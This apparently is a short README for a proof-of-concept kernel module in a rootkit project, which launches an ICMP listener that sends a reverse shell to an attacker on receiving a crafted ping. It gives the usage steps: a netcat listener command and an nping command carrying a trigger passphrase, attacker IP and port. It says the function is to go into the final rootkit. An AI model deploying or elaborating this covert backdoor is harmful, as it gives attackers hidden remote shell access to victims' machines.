This is a kernel module invoked reverse shell proof of concept.
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Kernel module invoked reverse shell

When this kernel module is installed it invokes an icmp listener script, this script sends a reverse shell in response to an attacker ping.

Using nc -l [PORT] and then in a separate window running nping --icmp -c 1 -dest-ip [victim ip] --data-string 'maK_it_$H3LL [attacker ip] [PORT]' we can ping the victim machine and send ourselves back a reverse shell. Make sure to have a netcat listener waiting on the port you specify before pinging.

This demonstrates how a user-land script/app can be invoked from the kernel

This functionality will be added as part of the final rootkit that is being developed as part of this project